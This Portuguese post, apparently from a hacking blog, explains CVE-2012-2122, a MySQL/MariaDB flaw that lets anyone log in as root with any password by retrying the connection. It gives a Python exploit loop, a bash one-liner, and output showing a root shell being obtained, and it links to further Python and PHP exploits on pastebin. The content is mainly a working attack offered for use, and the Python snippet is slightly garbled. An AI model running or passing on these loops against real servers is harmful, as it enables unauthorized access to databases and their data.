MySQL permite a autenticação de qualquer usuário válido (ou seja, root ativos em 99% das instalações) sem a necessidade de senha, utilizando apenas um simples LOOP de tentativas exaustivo de conexões.
Todas as versões do MySQL e MariaDB até 5.1.61, 5.2.11, 5.3.5, 5.5.22 são vulnerável.
Versões de MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23 não são.
Versões do MySQL 5.1.63 de, 5.5.24, 5.6.6 não são.
Esta questão foi atribuído um ID:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
O que significa que, se alguém sabe um nome de usuário para se conectar (e "root" quase sempre existe), ela pode se conectar usando * qualquer senha * repetindo tentativas de conexão. ~ 300 tentativas leva apenas uma fração de segundo, então basicamente conta a proteção por senha é tão bom como inexistente.
Qualquer cliente vai fazer, não há necessidade de uma biblioteca libmysqlclient especial.
EXPLOIT CÓDIGO PYTHON:
#!/usr/bin/python
import subprocess
- import subprocess
- ipaddr = raw_input("Enter the IP address of the mysql server: ")
- while 1:
- subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()
EXPLOIT CÓDIGO EM SHELLSCRIPT:
while true; do mysql -u root --password=senha -h 127.0.0.1 2>/dev/null; done
Executando comando exploit em python:
google@inurl:~# python mysql.py
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql>
Exploit:
PYTHON
http://pastebin.com/JuHZX7zJ
PHP
http://pastebin.com/CTYx2hUt